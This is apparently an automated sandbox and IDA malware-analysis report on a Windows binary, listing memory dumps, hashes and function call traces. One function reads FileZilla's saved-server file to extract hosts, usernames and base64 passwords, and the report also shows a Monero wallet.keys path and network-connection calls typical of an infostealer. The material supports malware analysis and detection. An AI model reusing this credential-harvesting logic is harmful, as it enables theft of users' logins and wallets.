Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: R|Zv
API String ID: 0-3835291862
Opcode ID: 38aeabde7d4f7eb3b633311dda8277d681582a5a277e516484052009589333b1
Instruction ID: 41cc28d817cf70feb984a4ef0c87829da78a4eec1c301042123866ac9f759d9c
Opcode Fuzzy Hash: 38aeabde7d4f7eb3b633311dda8277d681582a5a277e516484052009589333b1
Instruction Fuzzy Hash: 9B51B0B3D082148FE304AE6CDC4537AB7E5EB54310F2A493DE9C8D3784EA7958448B96

Function 010F563D Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

@ww, xrefs: 010F56D5

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @ww
API String ID: 0-848741344
Opcode ID: 91835224af7b34e4a324bf0532c15c9f6f9758eb9e11ba89deb6885b1717cc2f
Instruction ID: 2c76687a2e357605c4a0736f02264611c737a3b2e211f25914df648dea15e218
Opcode Fuzzy Hash: 91835224af7b34e4a324bf0532c15c9f6f9758eb9e11ba89deb6885b1717cc2f
Instruction Fuzzy Hash: C55145B3A082145BE3086A2DDC1937ABBE6DBC0720F2A463DDB95977C4E938580586D6

Function 011B23D6 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

CjZo, xrefs: 011B2579

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: CjZo
API String ID: 0-1895608110
Opcode ID: aeba2ee32d5a9570889c27599b28dc65ab39013b21254d5954fe0619df401548
Instruction ID: 4ce6140948f8bd0637be9f597b6156559cc566afdf9489e5af9fb176d288ce25
Opcode Fuzzy Hash: aeba2ee32d5a9570889c27599b28dc65ab39013b21254d5954fe0619df401548
Instruction Fuzzy Hash: EE5129F3E182009BE3046A28DD4977BB7D6DBD4320F2A863DEBC893784D93D4C458696

Function 01215807 Relevance: .5, Instructions: 521COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bf4c8bb9e18d55097cfe061fd85202d3f538a393b97dfbb2bd1f62b800605c4
Instruction ID: 383a6aeaf43a08e72b0c3341612b9b5fb2a82f256cfe7c5214b5476b5376d988
Opcode Fuzzy Hash: 1bf4c8bb9e18d55097cfe061fd85202d3f538a393b97dfbb2bd1f62b800605c4
Instruction Fuzzy Hash: 41F114F390C2149FD304AE2DEC856BABBE9EF94720F1A4A2DE9C5D3740E63558448787

Function 0111D6D3 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90df8d3a2594b5e6bd267f6ab6eeed66880bb1de5f6c72cbb0987a7c1df8b1e3
Instruction ID: 8d1a8c890af9317b417c12aa1bc58f92d3afd1b65e484c6011614b68aec165ac
Opcode Fuzzy Hash: 90df8d3a2594b5e6bd267f6ab6eeed66880bb1de5f6c72cbb0987a7c1df8b1e3
Instruction Fuzzy Hash: FA7139F3E082145FF3145E29ECC57BAF7D9EB98320F1A463EEA8493784D9791C058692

Function 011D3502 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce362473a81ed0bd5a4b957e15dbf52c6a17b6cfbe0d6bdbcabfb5ace82bcca2
Instruction ID: 662df741f97d18b2b1d05d8b4e1e02277ffabde377d6bb84f3432b2bfcda5232
Opcode Fuzzy Hash: ce362473a81ed0bd5a4b957e15dbf52c6a17b6cfbe0d6bdbcabfb5ace82bcca2
Instruction Fuzzy Hash: 495127F3E042145BF3009E2DDC8572AB7E6EBE4720F2B853DEAC8D3744E97599058692

Function 010D8B44 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd7255747054fafbbab3aed6ddab902484e890b2b94ebeb55828602beeed4d5f
Instruction ID: 5f52d82ef1dc5c77f2115ecd53d89ead8a26971116ab2b470ed399f09ad269f3
Opcode Fuzzy Hash: bd7255747054fafbbab3aed6ddab902484e890b2b94ebeb55828602beeed4d5f
Instruction Fuzzy Hash: D751E1B3D482249FE3147A68DC4576ABBE9EF58720F1B093CDAD897380E679184086C7

Function 01187C5C Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95d4adf3f7773cd8cb8b62aeb13e64cebafbf77f126984b5f02a843efccba468
Instruction ID: 68003c6251874fde7d4d27d1e0c30d0e58dae87796cdf53569114e46e5c3b126
Opcode Fuzzy Hash: 95d4adf3f7773cd8cb8b62aeb13e64cebafbf77f126984b5f02a843efccba468
Instruction Fuzzy Hash: C4415BB3E082149BE3082E2CDC953BAB7D5EB54320F2B053DDA89D7780E9394D0187C6

Function 01281D4E Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce2edd47a5016d0291367b3cefce158c1e612958b10184052f59f23fa0ec3265
Instruction ID: b31b23c766b494754fc978b0a2aa7d77ad01b69251b16aa638431a456e0ae8ea
Opcode Fuzzy Hash: ce2edd47a5016d0291367b3cefce158c1e612958b10184052f59f23fa0ec3265
Instruction Fuzzy Hash: A83136B3A3E2289FD2507D58DC87676F3D8DB05250F46063EDA87D77C0E5E1682282C2

Function 00E59750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00E50250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

Part of subcall function 00E58DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E58E0B

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Part of subcall function 00E499C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E499EC
Part of subcall function 00E499C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E49A11
Part of subcall function 00E499C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E49A31
Part of subcall function 00E499C0: ReadFile.KERNEL32(000000FF,?,00000000,00E4148F,00000000), ref: 00E49A5A
Part of subcall function 00E499C0: LocalFree.KERNEL32(00E4148F), ref: 00E49A90
Part of subcall function 00E499C0: CloseHandle.KERNEL32(000000FF), ref: 00E49A9A

Part of subcall function 00E58E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E58E52

GetProcessHeap.KERNEL32(00000000,000F423F,00E60DBA,00E60DB7,00E60DB6,00E60DB3), ref: 00E50362
RtlAllocateHeap.NTDLL(00000000), ref: 00E50369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00E50385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E60DB2), ref: 00E50393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00E503CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E60DB2), ref: 00E503DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00E50419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E60DB2), ref: 00E50427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00E50463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E60DB2), ref: 00E50475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E60DB2), ref: 00E50502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E60DB2), ref: 00E5051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E60DB2), ref: 00E50532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E60DB2), ref: 00E5054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00E50562
lstrcat.KERNEL32(?,profile: null), ref: 00E50571
lstrcat.KERNEL32(?,url: ), ref: 00E50580
lstrcat.KERNEL32(?,00000000), ref: 00E50593
lstrcat.KERNEL32(?,00E61678), ref: 00E505A2
lstrcat.KERNEL32(?,00000000), ref: 00E505B5
lstrcat.KERNEL32(?,00E6167C), ref: 00E505C4
lstrcat.KERNEL32(?,login: ), ref: 00E505D3
lstrcat.KERNEL32(?,00000000), ref: 00E505E6
lstrcat.KERNEL32(?,00E61688), ref: 00E505F5
lstrcat.KERNEL32(?,password: ), ref: 00E50604
lstrcat.KERNEL32(?,00000000), ref: 00E50617
lstrcat.KERNEL32(?,00E61698), ref: 00E50626
lstrcat.KERNEL32(?,00E6169C), ref: 00E50635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E60DB2), ref: 00E5068E

Strings

<Pass encoding="base64">, xrefs: 00E5045A
<Port>, xrefs: 00E503C6
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00E502A4
password: , xrefs: 00E505FB
<Host>, xrefs: 00E5037C
url: , xrefs: 00E50577
profile: null, xrefs: 00E50568
browser: FileZilla, xrefs: 00E50559
login: , xrefs: 00E505CA
<User>, xrefs: 00E50410

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 158b4186e753383151227316240b6a635da4fb72bb4e5063bc8905313fe77f0c
Instruction ID: 521a6d7f2293f651207f73c0d74c42be301d27a8261a66c52fc0a2a270c0f689
Opcode Fuzzy Hash: 158b4186e753383151227316240b6a635da4fb72bb4e5063bc8905313fe77f0c
Instruction Fuzzy Hash: 2ED13071910208ABCB04EBE0DD9ADEE7778BF14301F545929F542B7085EF79AA09CB61

Function 00E45960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Part of subcall function 00E447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E44839
Part of subcall function 00E447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E44849

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E459F8
StrCmpCA.SHLWAPI(?,01CBF318), ref: 00E45A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E45B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01CBF3B8,00000000,?,01CBAF70,00000000,?,00E61A1C), ref: 00E45E71
lstrlen.KERNEL32(00000000), ref: 00E45E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00E45E93
RtlAllocateHeap.NTDLL(00000000), ref: 00E45E9A
lstrlen.KERNEL32(00000000), ref: 00E45EAF
lstrlen.KERNEL32(00000000), ref: 00E45ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E45EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00E45F1B
